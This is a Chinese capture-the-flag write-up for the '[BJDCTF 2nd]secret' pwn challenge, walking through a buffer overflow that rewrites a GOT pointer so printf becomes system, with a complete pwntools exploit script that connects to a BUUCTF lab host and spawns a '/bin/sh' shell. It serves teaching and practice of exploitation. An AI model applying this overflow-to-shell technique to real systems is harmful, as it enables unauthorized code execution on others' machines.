[BJDCTF 2nd]secret

附件

步骤:

  1. 例行检查,64位程序,开启了canary和nx
  2. 本地试运行一下,看看程序大概的情况,好像是一个什么游戏
  3. 64位ida载入,检索程序里的字符串,发现了flag字样
  4. 双击,ctrl+x找到了函数
  5. sub_46A3F(),游戏开始界面,让我们输入名字

    sub_40136D()函数太长了,没法f5
    看汇编,看到首先调用了sub_46A329函数,在sub_46A329里读入了一个数据,off_46D090-1,然后跟标记处的数据比较,如果正确的话,就跳转到loc_401392,loc_401392跟sub_40136D是一样的操作,只要有一次不对就会退出

    sub_46A329

分析到这儿,对程序大概了解了,要让我们猜对数据1000次,都成功了,就会执行main函数里的system(cat /flag)获取flag的值,感觉真去程序里扣1000个数据,有点不太现实

查看buf参数的时候发现,那个控制次数的变量就在buf后面,我们read可以读入0x16个字符,可以将off_46D090处覆盖掉

一开始的想法是将这个地方改为1,这样猜对一次后就可以直接获取flag,感觉思路没问题,但是不懂为什么打不通,可能是我修改的方法不对吧

做不下去了,去百度了一下网上其他师傅的wp

看wp可知,system的plt和printf的plt相差只有0x10

当比较数据错误的时候,会跳转到该处,里面调用了print函数,输出我们一开始输入的名字

如果将printf的plt地址改为system函数的plt地址,这样执行错误的时候就会执行system函数了,我们一开始输入名字的时候如果输入‘/bin/sh’,这样在这边就能直接获取shell了

如何修改呢,在我们刚刚所说的off_46D090处
由于每猜一次,这个指针所指的内容就会减去1,那么如果在这里放上printf的plt表,然后猜对15次,再猜错一次,那这个值就减去了0x10(16),那就刚好变成了system(很神奇)

思路清楚了,上exp

from pwn import *

#p = process('./secret')
r = remote('node3.buuoj.cn',28901)
elf = ELF('./secret')
printf_got = elf.got['printf'] answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = '/bin/sh\x00'.ljust(0x10,'\x00') + p32(printf_got)
r.sendafter("What's your name?",payload) for x in answer:
r.sendlineafter('Secret:',str(x)) r.sendlineafter('Secret:','1') r.interactive()


参考wp:https://www.yuque.com/u239977/cbzkn3/wml031

[BUUCTF]PWN——[BJDCTF 2nd]secret的更多相关文章

  1. [BUUCTF]PWN——[BJDCTF 2nd]ydsneedgirlfriend2

    [BJDCTF 2nd]ydsneedgirlfriend2 附件 步骤: 例行检查,64位程序,开启了canary和nx 试运行一下程序,看看大概的情况,经典的堆块的布局 64位ida载入,习惯性的 ...

  2. [BUUCTF]PWN——[BJDCTF 2nd]r2t4

    [BJDCTF 2nd]r2t4 附件 步骤 例行检查,64位,开启了canary和nx 64位ida载入,检索字符串的时候发现了后面函数,shell_addr=0x400626 main函数 可以溢 ...

  3. [BUUCTF]PWN——[BJDCTF 2nd]test

    [BJDCTF 2nd]test 步骤 根据题目,ssh连接一下靶机 登录成功后,ls看一下当前目录下的文件,根据提示可知,我们没法直接获取flag字符串,但是我们可以读取test的源码, test. ...

  4. [BUUCTF]PWN12——[BJDCTF 2nd]r2t3

    [BUUCTF]PWN12--[BJDCTF 2nd]r2t3 题目网址:https://buuoj.cn/challenges#[BJDCTF%202nd]r2t3 步骤: 例行检查,32位,开启了 ...

  5. [BUUCTF]PWN15——[BJDCTF 2nd]one_gadget

    [BUUCTF]PWN15--[BJDCTF 2nd]one_gadget 附件 步骤: 例行检查,64位,保护全开 nc试运行一下程序,看看情况,它一开始给了我们一个地址,然后让我们输入one ga ...

  6. [BUUCTF]REVERSE——[BJDCTF 2nd]8086

    [BJDCTF 2nd]8086 附件 步骤: 首先查壳儿,无壳,直接上ida,检索字符串,程序里就一个字符串 没法f5反编译出伪代码,大致看了一下汇编,start函数之后调用了sub_10030函数 ...

  7. [BUUCTF]REVERSE——[BJDCTF 2nd]guessgame

    [BJDCTF 2nd]guessgame 附件 步骤: 例行查壳儿,64位程序,没有壳儿 64位ida载入,习惯性的检索程序里的字符串,看到了一串类似flag的字符串,拿去提交,成功 BJD{S1m ...

  8. BUUCTF pwn一分题目

    因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...

  9. [BJDCTF 2nd]文件探测

    [BJDCTF 2nd]文件探测 这两天刷题碰到了一道稍微有难度的题,记录一下,有一些点是未被掌握到的. home.php: <?php setcookie("y1ng", ...

随机推荐

  1. Jenkins教程(八)实现 GitLab 触发 Jenkins 自动按模块发布前端

    楔子 上篇文章解决了提交/合并请求自动触发的需求,但所有前端模块都在同一个代码仓库里,如何获取变更文件路径确定要发布哪个模块呢?本文将带你解决这个问题. 思路 分别解决 3 个问题: 获取变更的文件列 ...

  2. [51nod1587]半现串

    将s所有长度为d/2的子串放进ac自动机中,直接匹配就可以判定半现串了再对其做一个差分,询问一个前缀的半现串个数,在ac自动机上数位dp,f[i][j][0/1]表示走了i步(i位的字符串),走到节点 ...

  3. 【Tool】Node.js 安装

    Node.js 安装 2019-07-29  14:56:14  by冲冲 1. 说明 电脑使用node.js存在两种方式: ① 第一种,下载(.exe)到本地电脑,不需要安装,下载后点击 node. ...

  4. ES6学习 第五章 正则的扩展

    前言 本章介绍正则的扩展.有些不常用的知识了解即可. 本章原文链接:正则的扩展 RegExp 构造函数 从 ES6 开始,如果RegExp构造函数第一个参数是一个正则对象,并且第二个标志存在且为标志参 ...

  5. 【树莓派】Python开发工控机急停设计

    背景 我们在一些工业产品中使用树莓派替代了PLC和上位机,并借助树莓派的算力将AI和机器视觉引入工业领域. 以前的产品都不存在动作机构,仅仅将结果输出到指示灯.蜂鸣器或者显示器上,没有安全隐患, 现在 ...

  6. [TJOI2007] 可爱的质数

    题意 求最小的\(x\)满足\(a^x \equiv b\mod p\) 想法 这个是标准的板子题,\(BSGS\)算法可以用来解决\(a^x \equiv b\mod p\) 和 \(x^a \eq ...

  7. LeeCode刷题笔记

    (本来想在LeeCode题目页面上做注释的,结果没找到位置,只好来这里了) 字符串部分: 14.最长公共前缀:编写一个函数来查找字符串数组中的最长公共前缀. 示例 1: 输入: ["flow ...

  8. linux下vi与vim区别以及vim的使用-------vim编辑时脚本高光显示语法

    vi与vimvi编辑器是所有Unix及Linux系统下标准的编辑器,他就相当于windows系统中的记事本一样,它的强大不逊色于任何最新的文本编辑器.他是我们使用Linux系统不能缺少的工具.由于对U ...

  9. 网易云信 集成UI库登录dologin没有回调

    感谢github上的两位大佬指出问题的解决方法. 解决方法: 在进行ui初始化要在主进程中进行,初始化前进行主进程判断. 若还收不到回调,可尝试将uikit中的base包去掉而在build.gradl ...

  10. 大厂高频面试题Spring Bean生命周期最详解

    Spring作为当前Java最流行.最强大的轻量级框架.Spring Bean的生命周期也是面试高频题,了解Spring Bean周期也能更好地帮助我们解决日常开发中的问题.程序员应该都知道Sprin ...